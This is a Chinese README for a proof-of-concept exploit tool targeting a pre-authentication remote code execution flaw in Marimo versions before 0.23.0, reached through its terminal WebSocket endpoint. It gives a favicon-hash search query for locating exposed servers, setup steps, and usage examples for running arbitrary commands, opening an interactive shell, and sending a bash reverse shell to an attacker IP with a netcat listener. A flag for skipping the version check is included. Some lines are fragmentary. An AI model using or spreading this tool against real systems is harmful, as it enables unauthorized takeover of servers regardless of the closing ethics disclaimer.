针对 Marimo 0.23.0 之前版本中一个严重预认证远程代码执行(RCE)漏洞的概念验证(PoC)利用程序。
该漏洞允许未经身份验证的攻击者连接到 WebSocket 端点(/terminal/ws),并在目标服务器上执行任意系统命令。
/api/version 端点)。--no-check 标志可绕过版本和存在性检查,适用于端点可能被隐藏的环境。您可以使用以下搜索语法来识别潜在易受攻击的实例:
http.favicon.hash:-1864630356
建议使用 Python 虚拟环境来安装依赖项。
# 1. 克隆仓库
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. 创建并激活虚拟环境
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. 升级 pip 并安装所需依赖
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target 目标 URL(例如 http://localhost:8080)
command 要执行的命令(使用 -i 时省略)
options:
-h, --help 显示此帮助信息并退出
--no-check 跳过漏洞版本检查
Execution modes:
-i, --interactive 交互式 Shell 模式
--revshell IP PORT 生成并发送 bash 反向 Shell 负载
WebSocket tuning:
--ping-interval SEC WebSocket ping 间隔(秒,默认:30,更频繁有助于稳定性)
--ping-timeout SEC WebSocket ping 超时(秒,默认:300,从原120增加以适应慢速服务器)
--no-ping 完全禁用 WebSocket ping/pong(如果仍然断连推荐使用)
Reconnect options:
--max-retries N 最大自动重连尝试次数(默认:5)
--no-reconnect 在意外断连时禁用自动重连
1. 执行单个命令:
python CVE-2026-39987.py http://target.com:8080 "id"
2. 启动交互式 Shell:
python CVE-2026-39987.py http://target.com:8080 -i
3. 执行反向 Shell:
确保您在机器上运行了 netcat 监听器(例如 nc -lvnp 4444)。
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. 跳过验证检查并强制执行:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
欢迎贡献!请随时提交 Pull Request。
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)本工具严格用于教育目的和授权的道德黑客行为。作者不对任何滥用、损害或由此脚本引起的非法活动负责。始终确保您已获得系统所有者的明确许可,方可进行任何安全测试。未经授权使用此脚本属违法行为,并将受到法律制裁。
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。